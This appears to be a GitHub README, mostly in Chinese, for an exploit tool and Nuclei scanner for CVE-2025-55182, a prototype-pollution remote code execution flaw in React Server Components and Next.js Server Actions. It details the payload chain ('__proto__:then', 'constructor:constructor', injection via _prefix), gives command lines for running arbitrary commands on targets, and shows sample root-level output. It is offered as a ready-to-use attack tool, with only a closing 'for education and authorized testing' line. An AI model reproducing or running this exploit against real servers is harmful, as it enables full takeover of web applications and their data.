
CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface
针对 React/Next.js Server Actions 中 CVE-2025-55182 的全功能远程代码执行利用工具和扫描器。
原始 PoC: Spritualkb/CVE-2025-55182-exp
CVE-2025-55182 是 React Server Components 中的一个严重原型污染漏洞,可导致远程代码执行。本仓库提供了自动化扫描(Nuclei 模板)和手动利用(Python 脚本)两种工具。
漏洞机制:
该利用工具利用了 React Flight 协议反序列化中的原型污染。它通过 "$1:__proto__:then" 污染 Object.prototype.then,并通过将 _formData.get 设置为 "$1:constructor:constructor" 获得 Function 构造函数的访问权限,然后通过 _prefix 注入恶意代码,由 Function() 执行。
cve-2025-55182.yaml)自动化漏洞扫描器,执行 id 命令并通过 X-Action-Redirect 头部获取输出。
使用方法:
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
特性:
id)以验证 RCECVE-2025-55182.py)全功能 RCE 利用脚本,可执行任意命令并获取输出。
使用方法:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
特性:
X-Action-Redirect 头部提取输出$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
仅供教育和授权测试使用